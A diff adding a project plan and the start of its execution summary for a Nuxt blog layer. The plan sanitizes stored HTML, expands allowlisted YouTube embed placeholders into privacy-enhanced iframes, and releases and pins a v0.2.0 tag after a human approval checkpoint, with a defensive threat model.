via: "byte copy; the plan 06 phase gate compares the two files"
|
||||
pattern: "editor-corpus.json"
|
||||
- from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml"
|
||||
to: "vue-journal-layer v0.2.0 commit"
|
||||
via: "pnpm install after the pin bump"
|
||||
pattern: "vue-journal-layer"
|
||||
prohibitions:
|
||||
- statement: "The layer never builds an iframe from anything but a validated provider id and a fixed host; htmlGate.ts gains only the four editor-output rules plan 03 adds to the Go policy, never iframe, URL schemes, styles, event attributes or other data attributes."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "A pushed layer tag is never moved or deleted; a defect after the push gets v0.2.1."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (user decision 1, plan 04): the frontend half of embeds (D-17). The reusable Nuxt blog views layer keeps the editor's markup through its sanitizer, expands the allowlisted embed placeholders into privacy-enhanced YouTube iframes as the last step before v-html, ships as tag v0.2.0, and the site app pins it.
|
||||
|
||||
## Revision 2026-10-10 (16.1 drift, CONTEXT D-05 amended)
|
||||
|
||||
16.1 replaced the layer's regex gate with sanitize-html 2.18.0 (5beb1c5, decision note `docs/decisions/0001-sanitize-html.md`, tag v0.1.1 at 294a8d8). The layer now never blanks a body: `sanitizeJournalHtml` strips what the policy refuses, `gateJournalHtml` returns `{safe, html}` with `html` always sanitized, and there is no blocked notice. The body is sanitized twice: once in the payload (`toPostView`, the category page) and again at the sink (`JournalPostBody`, `JournalCategoryHeader`). Two consequences for this plan:
|
||||
|
||||
- **Order.** Expansion must be the very last step at the sink, after `sanitizeJournalHtml`. Run anywhere earlier, for example in `toPostView`, the sink's sanitizer would strip the iframe again.
|
||||
- **Mirror.** The placeholder's `data-embed`/`data-id` (and the editor's `alt` text and `ol start`) are stripped by the mirror today. Amended D-05 extends the Go policy (plan 03) and this mirror with the same four rules, pinned by plan 02's corpus. That is why this plan now waits for plan 02 (wave 2, parallel with plan 03).
|
||||
|
||||
The site app pins `#v0.1.1` today, and the layer's package.json version field still reads 0.1.0. Where RESEARCH Pattern 7 says the gate "refuses" a raw iframe, read "strips".
|
||||
|
||||
Path note: the site app is the submodule `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app` (its own repository, origin git.golem15.com/golem15/vue-grzybyfunkcjonalne-app, branch main), not a sibling directory. Plan 05 bumps the host's gitlink to the app commit pushed here.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Decisions recorded here (Claude's discretion)
|
||||
|
||||
- Provider allowlist: YouTube only, as one entry in `EMBED_PROVIDERS` (id pattern `^[A-Za-z0-9_-]{11}$`, src `https://www.youtube-nocookie.com/embed/<id>`), matching the editor's table in plan 02.
|
||||
- The placeholder is matched exactly as the editor writes it (attribute order data-embed then data-id, empty figure, no caption). Anything else is left as is, so an unknown or malformed placeholder renders as an empty figure.
|
||||
- Iframe attributes: `title="YouTube video"`, `loading="lazy"`, `referrerpolicy="strict-origin-when-cross-origin"`, `allow="encrypted-media; picture-in-picture; fullscreen"`, `allowfullscreen`. Since 16.1 the UAT vhost sends a public Content-Security-Policy-Report-Only whose default-src 'self' has no frame-src, so the iframe loads (report-only) but logs a violation; plan 05 adds frame-src https://www.youtube-nocookie.com to that policy in the host repository (RESEARCH Pattern 7's "no CSP" predates 16.1).
|
||||
- The layer tag push is a one-way door and gets its own checkpoint here; the summercms tag and the UAT deploy are gated in plan 05.
|
||||
- Mirror extension: exactly the four rules plan 03 adds to the Go policy: `figure` `data-embed` `^youtube$` and `data-id` `^[A-Za-z0-9_-]{11}$`, `img` `alt` with any value, and `ol` `start` (`INTEGER`). The corpus copy lives at `tests/fixtures/editor-corpus.json` with a test header comment naming its source; the copy is never edited by hand.
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- `app/utils/embeds.ts`: `EMBED_PLACEHOLDER` (RegExp), `EMBED_PROVIDERS`, `expandEmbeds(html: string): string`.
|
||||
- `app/utils/htmlGate.ts`: `figure` and `ol` entries plus the widened `img` `alt` rule in `ELEMENT_ATTRS` (mirror of the Go extension).
|
||||
- `tests/fixtures/editor-corpus.json` (byte copy of plan 02's corpus); corpus, mirror and pipeline cases in `tests/htmlGate.test.ts` and `tests/embeds.test.ts`.
|
||||
- `docs/decisions/0001-sanitize-html.md`: the Policy section lists the four editor-output additions.
|
||||
- CSS classes `.journal-embed`, `.journal-embed--youtube` in `app/assets/css/journal-base.css`.
|
||||
- `tests/embeds.test.ts`; acme fixture post with a placeholder and the matching `testing/expect-acme.txt` line.
|
||||
- Layer version 0.2.0 and annotated tag `v0.2.0` on origin.
|
||||
- vue-grzybyfunkcjonalne-app main: pin `#v0.2.0` and the updated `pnpm-lock.yaml`.
|
||||
|
||||
<objective>
|
||||
Mirror the editor-output policy extension in the layer's sanitizer, expand editor embed placeholders as the last step of the post and category sinks (D-17, D-05), release the layer as v0.2.0 and pin it in the site app.
|
||||
|
||||
Purpose: grzybyfunkcjonalne.pl shows the YouTube embeds authors add in the Blog Editor, and keeps their alt text and list numbering, while stored HTML still goes through the strict sanitizer.
|
||||
Output: the htmlGate.ts mirror and corpus test, embeds.ts with tests and SSR proof, tag v0.2.0, app pin and lockfile.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md
|
||||
|
||||
Repositories: `../vue-journal-layer` (branch main at 294a8d8 = tag v0.1.1, earlier tags v0.0.1 and v0.1.0; depends on sanitize-html 2.18.0; package.json version field 0.1.0; pnpm-lock.yaml; tests run with `npm test` = node --test on TypeScript with type stripping, Node 22.18 or later) and `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app` (branch main, pnpm). Commits: no co-author tags, stage by explicit path. Use only erasable TypeScript syntax in files node --test loads (no enums, no parameter properties) and import siblings with the .ts extension, as htmlGate.ts does.
|
||||
|
||||
<interfaces>
|
||||
Placeholder written by the editor (plan 02) and the expansion it becomes:
|
||||
|
||||
```html
|
||||
<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>
|
||||
<!-- becomes -->
|
||||
<figure class="journal-embed journal-embed--youtube"><iframe src="https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ" title="YouTube video" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" allow="encrypted-media; picture-in-picture; fullscreen" allowfullscreen></iframe></figure>
|
||||
```
|
||||
|
||||
Existing sanitizer (app/utils/htmlGate.ts, sanitize-html 2.18.0 mirroring the Go bluemonday policy): `sanitizeJournalHtml(html): string` strips what the policy refuses (iframe, script and style with their content; on* attributes; target and rel; URLs other than http, https, mailto and relative; attribute values failing their pattern) and always returns sanitize-html's own serialization; `gateJournalHtml(html) -> { safe, html }` never blanks (`safe` reports whether the policy kept everything); `isSafeJournalHtml(html)`. Policy tables: `GLOBAL_ATTRS`, `ELEMENT_ATTRS` (img alt uses `PARAGRAPH`; no figure or ol entry today), `EMPTY_ATTRS`. Call sites: `toPostView` (app/utils/postView.ts) and app/journal-pages/CategoryPage.vue sanitize the payload; `JournalPostBody` renders `v-html` of `sanitizeJournalHtml(props.html)`; `JournalCategoryHeader` renders `v-html` of `sanitizeJournalHtml(props.category.content)`.
|
||||
|
||||
Pipeline after this plan: payload `sanitizeJournalHtml` (placeholder kept) → sink `sanitizeJournalHtml` (placeholder kept) → `expandEmbeds` (last) → `v-html`.
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer: a stored placeholder renders as a privacy-enhanced YouTube iframe on the post page (mirror extension, sanitize, expand last, v-html, SSR)</name>
|
||||
<reversibility rating="costly">D-05 and D-17: the layer's matcher is the reader of the stored placeholder format; both must change together if the markup ever changes.</reversibility>
|
||||
<precondition>../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json exists (plan 02 Task 3) and parses as JSON.</precondition>
|
||||
<files>../vue-journal-layer/app/utils/htmlGate.ts, ../vue-journal-layer/app/utils/embeds.ts, ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/app/components/Journal/CategoryHeader.vue, ../vue-journal-layer/app/assets/css/journal-base.css, ../vue-journal-layer/tests/htmlGate.test.ts, ../vue-journal-layer/tests/embeds.test.ts, ../vue-journal-layer/tests/fixtures/editor-corpus.json, ../vue-journal-layer/testing/fixtures/acme/posts.json, ../vue-journal-layer/testing/expect-acme.txt, ../vue-journal-layer/docs/decisions/0001-sanitize-html.md, ../vue-journal-layer/README.md</files>
|
||||
<read_first>../vue-journal-layer/app/utils/htmlGate.ts (ELEMENT_ATTRS, PARAGRAPH, INTEGER, EMPTY_ATTRS, filterAttributeValues, KEEP_ALL), ../vue-journal-layer/tests/htmlGate.test.ts (test style), ../vue-journal-layer/app/utils/postView.ts, ../vue-journal-layer/app/journal-pages/CategoryPage.vue, ../vue-journal-layer/app/journal-pages/PostPage.vue, ../vue-journal-layer/docs/decisions/0001-sanitize-html.md (Policy section), ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (plan 02), ../sm-journal-plugin/classes/format_html.go (newHTMLPolicy: the Go side of the mirror), ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/app/components/Journal/CategoryHeader.vue, ../vue-journal-layer/app/assets/css/journal-base.css, ../vue-journal-layer/app/assets/css/journal-tokens.css, ../vue-journal-layer/testing/expect-acme.txt (grammar), ../vue-journal-layer/testing/fixtures/acme/posts.json (post hello-acme), ../vue-journal-layer/testing/smoke-ssr.mjs, ../vue-journal-layer/.playground/nuxt.config.ts, ../vue-journal-layer/package.json, ../vue-journal-layer/README.md</read_first>
|
||||
<action>Build the expansion on the post page end to end (per D-17, D-05).
|
||||
|
||||
Mirror (D-05 amended): in htmlGate.ts add the same four rules plan 03 adds to the Go policy and nothing else: an ELEMENT_ATTRS entry for figure with data-embed matching ^youtube$ and data-id matching ^[A-Za-z0-9_-]{11}$; an ol entry gaining start (INTEGER) next to type; img alt accepting any value (a new rule constant, documented as the editor's free-text alt; sanitize-html escapes attribute values). Extend the header comment's list of additions. Copy ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json byte for byte to tests/fixtures/editor-corpus.json. In tests/htmlGate.test.ts: every corpus entry is safe under gateJournalHtml; the placeholder is kept by sanitizeJournalHtml applied twice; data-embed other than youtube, a 10- or 12-character id, data-id on div and any other data attribute on figure are still stripped; an iframe is still stripped with its content; ol start="3" kept and start="x" stripped; an alt with a colon, a question mark and quotes kept. Update the Policy section of docs/decisions/0001-sanitize-html.md with the four additions and their reason (the Blog Editor's own output, pinned by the corpus, mirroring the Go policy).
|
||||
|
||||
embeds.ts (header comment naming the editor's placeholder and the Go policy as the source of truth, in the htmlGate.ts style): EMBED_PROVIDERS with one entry youtube (id pattern ^[A-Za-z0-9_-]{11}$, src builder on https://www.youtube-nocookie.com/embed/, title "YouTube video"); EMBED_PLACEHOLDER, a global RegExp matching exactly the placeholder in the interfaces block with capture groups for provider and id (attribute values without quotes or angle brackets); expandEmbeds(html) replaces a match only when the provider is in EMBED_PROVIDERS and the id passes its pattern, producing exactly the expansion in the interfaces block; every other match is returned unchanged; empty input returns "". The regex matches the serialization sanitize-html gives the placeholder (attribute order kept, double quotes), because its input is always sanitizer output.
|
||||
|
||||
Wiring (order is the point): PostBody.vue computes the rendered HTML as expandEmbeds(sanitizeJournalHtml(props.html)) and CategoryHeader.vue as expandEmbeds(sanitizeJournalHtml(props.category.content)); expansion is the last step before v-html and its output is never sanitized again (sanitize-html would strip the iframe). toPostView and CategoryPage.vue keep only sanitizing (the payload carries the placeholder, not the iframe); do not expand there. Update the components' header comments to say so. journal-base.css adds .journal-embed (block, margin from the existing spacing tokens, aspect-ratio 16 / 9, width 100 percent) and its iframe (width and height 100 percent, border 0).
|
||||
|
||||
Fixtures: append the placeholder for id dQw4w9WgXcQ to the content_html of the acme post hello-acme, and add to testing/expect-acme.txt the line "200 /blog/hello-acme contains=https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ" under the single-post block.
|
||||
|
||||
Smoke: tests/embeds.test.ts (node:test): the placeholder expands to the exact iframe markup; a 10-character id, an unknown provider and a figure with extra attributes stay unchanged; the composed sink pipeline expandEmbeds(sanitizeJournalHtml(x)) turns a stored placeholder into the iframe but strips a raw iframe in x, so the only iframe in the output is the one built from the placeholder; the payload-then-sink pipeline (sanitize, sanitize, expand) gives the same result; two placeholders in one body both expand; the corpus embed entry expands after sanitizing.
|
||||
|
||||
README.md: an "Embeds" section describing the placeholder, the allowlist, the sanitize-first, expand-last order and the CSS classes; the HTML sanitizer bullet names the four editor-output additions. Commit as "feat: keep Blog Editor markup in the sanitizer and expand Journal embed placeholders into privacy-enhanced iframes", staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>npm --prefix ../vue-journal-layer test 2>&1 | grep -E '^# fail 0$'</automated>
|
||||
<fails_when>No "# fail 0" line in the TAP summary: an embeds or mirror test failed (a corpus entry is unsafe, the placeholder does not survive two sanitizer passes, a negative case is no longer stripped, or a stored iframe reaches the output), or an existing htmlGate, postView, routes, seo, sitemap, i18n, pagination or client test failed.</fails_when>
|
||||
<automated>pnpm -C ../vue-journal-layer install --frozen-lockfile && pnpm -C ../vue-journal-layer run build:playground && node ../vue-journal-layer/testing/smoke-ssr.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --expect ../vue-journal-layer/testing/expect-acme.txt 2>&1 | grep '^smoke-ssr: ok ('</automated>
|
||||
<fails_when>No line starting with "smoke-ssr: ok (": the playground build failed, or an expectation failed (the new youtube-nocookie line on /blog/hello-acme, or an existing one such as /blog/unsafe-sample containing <p>Before</p><p>After</p> without alert().</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "export function expandEmbeds" ../vue-journal-layer/app/utils/embeds.ts` prints one line.
|
||||
- `grep -c "expandEmbeds" ../vue-journal-layer/app/components/Journal/PostBody.vue ../vue-journal-layer/app/components/Journal/CategoryHeader.vue` reports at least 1 for each file, and `grep -c "expandEmbeds" ../vue-journal-layer/app/utils/postView.ts ../vue-journal-layer/app/journal-pages/CategoryPage.vue` reports 0 for each (no expansion before the sink's sanitizer).
|
||||
- `grep -n "data-embed" ../vue-journal-layer/app/utils/htmlGate.ts` prints at least one line, and `cmp ../vue-journal-layer/tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` exits 0.
|
||||
<!-- planner-discipline-allow: expandEmbeds -->
|
||||
- `grep -n "youtube-nocookie.com/embed/dQw4w9WgXcQ" ../vue-journal-layer/testing/expect-acme.txt` prints one line.
|
||||
- The node test summary shows "# fail 0" and includes the embeds tests; smoke-ssr passes against the built playground.
|
||||
</acceptance_criteria>
|
||||
<done>The layer's sanitizer keeps exactly the editor's own markup, a placeholder in a stored post renders as a youtube-nocookie iframe in the SSR page, malformed placeholders stay inert, and raw iframes are still stripped.</done>
|
||||
</task>
|
||||
|
||||
<task type="checkpoint:decision" gate="blocking-human">
|
||||
<name>Task 2: Approve pushing vue-journal-layer v0.2.0 and the site app pin</name>
|
||||
<precondition>Task 1's two verify commands passed.</precondition>
|
||||
<read_first>../vue-journal-layer/scripts/check-git-install.sh, ../vue-journal-layer/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json</read_first>
|
||||
<action>Automate the checks, then stop. In ../vue-journal-layer: `git status --porcelain` prints nothing; `git fetch origin --tags`; `git log --oneline HEAD..origin/main` prints nothing (if it prints commits, stop and report); `git ls-remote --tags origin refs/tags/v0.2.0` prints nothing. Set package.json version to 0.2.0 and commit it as "chore: release v0.2.0". In the app submodule: `git status --porcelain` prints nothing and `git log --oneline HEAD..origin/main` prints nothing. Print the release sheet: the layer commits to push (`git log --oneline origin/main..HEAD`), the tag name and message "v0.2.0: Blog Editor markup kept by the sanitizer; Journal embed placeholders expand into privacy-enhanced YouTube iframes", the app change (pin #v0.1.1 to #v0.2.0 plus the regenerated lockfile), and the rollback (a defect means v0.2.1; the app pin can go back to #v0.1.1). Stop for the human.</action>
|
||||
<decision>Push vue-journal-layer main and the annotated tag v0.2.0, then push the vue-grzybyfunkcjonalne-app pin bump?</decision>
|
||||
<context>A pushed tag is installed by consumer lockfiles (git+https ... #v0.2.0) and cannot be moved, only superseded. The site app's main (today ada03b2, pinning #v0.1.1) is what plan 05 deploys to UAT through the host gitlink. The embed expansion and the four mirror rules are harmless before any post holds editor markup.</context>
|
||||
<options>
|
||||
<option id="push">
|
||||
<name>Push now</name>
|
||||
<pros>The site can render embeds as soon as plan 05 deploys; check-git-install proves the tag installs anonymously</pros>
|
||||
<cons>The tag is permanent</cons>
|
||||
</option>
|
||||
<option id="hold">
|
||||
<name>Hold the tag</name>
|
||||
<pros>Nothing leaves this machine</pros>
|
||||
<cons>Plan 05 cannot bump the app gitlink to an app that pins v0.2.0; embeds would not render on UAT</cons>
|
||||
</option>
|
||||
</options>
|
||||
<resume-signal>Reply "push" or "hold".</resume-signal>
|
||||
<verify>
|
||||
<automated>test -z "$(git -C ../vue-journal-layer status --porcelain)" && test -z "$(git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.2.0)" && grep -q '"version": "0.2.0"' ../vue-journal-layer/package.json && test -z "$(git -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app status --porcelain)" && echo push-precheck-ok</automated>
|
||||
<fails_when>Non-zero exit or "push-precheck-ok" absent: the layer or app tree is dirty, the tag already exists on origin, or the version bump is missing.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- push-precheck-ok was printed.
|
||||
- The SUMMARY records the release sheet and the human's reply verbatim.
|
||||
</acceptance_criteria>
|
||||
<done>A human chose push or hold (hold stops the plan and is reported to plan 05).</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 3: Push the layer tag, prove the git install, pin v0.2.0 in the site app</name>
|
||||
<reversibility rating="one-way">The annotated tag v0.2.0 is consumed by lockfiles that pin its commit; it can only be superseded by v0.2.1.</reversibility>
|
||||
<precondition>Task 2 was answered "push"; `git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.2.0` still prints nothing.</precondition>
|
||||
<files>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml</files>
|
||||
<read_first>../vue-journal-layer/scripts/check-git-install.sh, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts (needs a build first), ../sm-grzybyfunkcjonalne-app/scripts/build.sh (how the host builds the app: pnpm install --frozen-lockfile)</read_first>
|
||||
<action>Release the layer (per D-17): in ../vue-journal-layer create the annotated tag with git tag -a v0.2.0 and the message from Task 2, then git push origin main and git push origin v0.2.0; run bash scripts/check-git-install.sh v0.2.0 (a scratch app installs the tag anonymously, the lockfile pins the tag commit, nuxt build and the acme SSR expectations, including the new embed line, pass).
|
||||
|
||||
Pin in the site app: in ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app change the vue-journal-layer dependency from #v0.1.1 to git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.2.0, run pnpm install to regenerate pnpm-lock.yaml (it must record the tag's commit), then pnpm build and pnpm test (unit and SSR tests against the built output). Commit package.json and pnpm-lock.yaml as "chore(deps): vue-journal-layer v0.2.0 (Journal embeds)" and push origin main. Record both pushed heads and the tag commit in the SUMMARY.</action>
|
||||
<verify>
|
||||
<automated>bash ../vue-journal-layer/scripts/check-git-install.sh v0.2.0</automated>
|
||||
<fails_when>Non-zero exit: the tag is not on origin, the scratch lockfile pins another commit, nuxt build fails, or an acme SSR expectation fails.</fails_when>
|
||||
<automated>cd ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app && grep -q 'vue-journal-layer.git#v0.2.0' package.json && pnpm install --frozen-lockfile && pnpm build && pnpm test && test "$(git rev-parse HEAD)" = "$(git rev-parse origin/main)" && echo app-pin-ok</automated>
|
||||
<fails_when>Non-zero exit or "app-pin-ok" absent: the pin is missing, the lockfile is out of date, the build or a unit or SSR test fails, or the app commit was not pushed.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.2.0` prints a line, and check-git-install.sh v0.2.0 passes.
|
||||
- The app package.json pins #v0.2.0, pnpm-lock.yaml records the tag's commit, and app main equals origin/main.
|
||||
- The SUMMARY records the layer tag commit, the layer and app heads pushed.
|
||||
</acceptance_criteria>
|
||||
<done>vue-journal-layer v0.2.0 is published and installable, and the site app pins it on its pushed main.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| Journal API content_html → site v-html | stored HTML (admin-written or imported) becomes page markup |
|
||||
| site page → youtube-nocookie.com | the visitor's browser loads a third-party frame |
|
||||
| executor → git origin | the layer tag and the app main are read by other builds |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-19 | Tampering (iframe injection) | expandEmbeds | high | mitigate | Exact-markup regex, provider allowlist and an id pattern; the iframe src is built from a fixed host plus the validated id; anything else stays inert; tests cover malformed ids, unknown providers and extra attributes |
|
||||
| T-16.2-20 | Elevation of Privilege | sanitize-then-expand order | high | mitigate | sanitizeJournalHtml runs first at each v-html sink and expandEmbeds is the last step, so stored raw iframes are stripped and the only iframe is the one built from a validated placeholder; expansion never happens in a payload transform (acceptance grep); tests compose the sink and the payload-then-sink pipelines |
|
||||
| T-16.2-32 | Tampering (stored XSS) / policy drift | htmlGate.ts mirror extension | high | mitigate | Exactly the four editor-output rules the Go policy gains in plan 03, with the same patterns; no iframe, URL scheme, style or other data attribute; every corpus entry (byte copy of plan 02's corpus, compared with cmp here and in the plan 06 gate) is safe, and the negative cases stay stripped |
|
||||
| T-16.2-21 | Information Disclosure (visitor privacy) | YouTube frame | low | mitigate | youtube-nocookie.com privacy-enhanced domain, lazy loading, strict-origin-when-cross-origin referrer policy; the site's report-only CSP allows frames only from that host (frame-src, added by plan 05) |
|
||||
| T-16.2-22 | Tampering / Repudiation | tag and pushes | medium | mitigate | Clean trees and an absent tag checked at a blocking-human checkpoint; check-git-install proves the published tag; heads recorded in the SUMMARY |
|
||||
| T-16.2-SC | Tampering | npm/pnpm installs | high | mitigate | No new package: the layer adds no dependency; the app only changes its pin to the project's own layer tag and regenerates the lockfile with pnpm |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: node tests ("# fail 0") and the playground SSR smoke pass.
|
||||
- Task 2: push-precheck-ok and a human decision.
|
||||
- Task 3: check-git-install v0.2.0 passes and the app pin builds, tests and is pushed.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- D-17: embeds render on the site through the layer, v0.2.0 is published and pinned in the app.
|
||||
- D-05: the sanitizer mirrors the Go policy's four editor-output rules and nothing more, still runs first at every sink, and expansion is last.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md` when done, with the human reply, the tag commit, the pushed heads and the SSR smoke output.
|
||||
</output>
|
||||
@@ -0,0 +1,247 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 04
|
||||
subsystem: journal-frontend
|
||||
tags: [vue-journal-layer, nuxt, sanitize-html, embeds, youtube-nocookie, release, pnpm, vue-grzybyfunkcjonalne-app]
|
||||
|
||||
requires:
|
||||
- phase: 16.2-02
|
||||
provides: tests/blogeditor/fixtures/editor-corpus.json (the Blog Editor's output corpus) and the placeholder format <figure data-embed="youtube" data-id="ID"></figure>
|
||||
- phase: 16.1
|
||||
provides: sanitize-html 2.18.0 mirror (htmlGate.ts, decision note 0001-sanitize-html.md), layer tag v0.1.1, app pin #v0.1.1
|
||||
provides:
|
||||
- "vue-journal-layer htmlGate.ts mirror of the Go editor-output extension: figure data-embed ^youtube$, figure data-id ^[A-Za-z0-9_-]{11}$, img alt free text, ol start INTEGER"
|
||||
- "vue-journal-layer app/utils/embeds.ts: EMBED_PLACEHOLDER, EMBED_PROVIDERS (youtube only), expandEmbeds(html)"
|
||||
- "JournalPostBody and JournalCategoryHeader render expandEmbeds(sanitizeJournalHtml(html)); expansion is last, payload transforms only sanitize"
|
||||
- "CSS classes .journal-embed and .journal-embed--youtube (16 / 9 frame)"
|
||||
- "tests/fixtures/editor-corpus.json, a byte copy of plan 02's corpus"
|
||||
- "Annotated tag vue-journal-layer v0.2.0 (tag object 042b65d0, commit 759e684e) on origin, installable anonymously over git+https"
|
||||
- "vue-grzybyfunkcjonalne-app main 465286a pins #v0.2.0 with a lockfile resolving to 759e684e"
|
||||
affects: [16.2-05, 16.2-06, vue-journal-layer, vue-grzybyfunkcjonalne-app]
|
||||
|
||||
actuals:
|
||||
tokens: 9700
|
||||
tasks: 3
|
||||
commits: 3
|
||||
plan_head_before: 294a8d8b19b999d54cc3b1266d0f42968159f5f2
|
||||
plan_head_after: 759e684e862bd8a2f34e2bbcdf258f66aeddad4f
|
||||
commits_repo: ../vue-journal-layer
|
||||
app_head_before: ada03b202bdfce2c09812dc81c58b0890cf4b86b
|
||||
app_head_after: 465286a880f0aae6118c2915aa1475a5da353295
|
||||
app_commits_repo: ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
|
||||
app_commits: 1
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Sanitize first, expand last: the v-html sink runs sanitizeJournalHtml and then expandEmbeds; nothing sanitizes after expansion, and payload transforms never expand"
|
||||
- "Exact-markup placeholder expansion: one global RegExp matching the sanitizer's serialization, a provider allowlist with an id pattern, and an iframe src built from a fixed host plus the validated id; any other match is returned unchanged"
|
||||
- "Mirror pinned by the editor's corpus: the layer keeps a byte copy of the Go side's corpus and every entry must be safe under gateJournalHtml"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- ../vue-journal-layer/app/utils/embeds.ts
|
||||
- ../vue-journal-layer/tests/embeds.test.ts
|
||||
- ../vue-journal-layer/tests/fixtures/editor-corpus.json
|
||||
modified:
|
||||
- ../vue-journal-layer/app/utils/htmlGate.ts
|
||||
- ../vue-journal-layer/app/components/Journal/PostBody.vue
|
||||
- ../vue-journal-layer/app/components/Journal/CategoryHeader.vue
|
||||
- ../vue-journal-layer/app/assets/css/journal-base.css
|
||||
- ../vue-journal-layer/tests/htmlGate.test.ts
|
||||
- ../vue-journal-layer/testing/fixtures/acme/posts.json
|
||||
- ../vue-journal-layer/testing/expect-acme.txt
|
||||
- ../vue-journal-layer/docs/decisions/0001-sanitize-html.md
|
||||
- ../vue-journal-layer/README.md
|
||||
- ../vue-journal-layer/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
|
||||
|
||||
key-decisions:
|
||||
- "The layer mirror gained exactly the four editor-output rules of the Go policy (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt free text, ol start INTEGER); no fifth rule was needed for the corpus"
|
||||
- "Embed expansion runs only at the v-html sinks, after sanitizeJournalHtml; the payload (toPostView, CategoryPage) carries the placeholder, never the iframe"
|
||||
- "Human approved the one-way release at the Task 2 blocking-human checkpoint with the reply \"push\"; vue-journal-layer v0.2.0 is published and any later defect gets v0.2.1"
|
||||
- "The release commit also moved the README install line from #v0.1.0 to #v0.2.0 so the documented pin matches the published tag"
|
||||
|
||||
patterns-established:
|
||||
- "A layer release is a separate 'chore: release vX.Y.Z' commit (package.json version plus README install line), tagged annotated, pushed after a blocking-human checkpoint, proven by scripts/check-git-install.sh, then pinned in the consuming app with a regenerated lockfile"
|
||||
|
||||
requirements-completed: [D-05, D-17]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "htmlGate.ts mirrors the Go editor-output extension and nothing more; every corpus entry is safe, the placeholder survives two sanitizer passes, negative cases (other provider, 10/12-char id, data-id on div, other data attributes, iframe, ol start=x) are stripped"
|
||||
requirement: "D-05"
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../vue-journal-layer/tests/htmlGate.test.ts (npm test: 136 pass, 0 fail)"
|
||||
status: pass
|
||||
- kind: other
|
||||
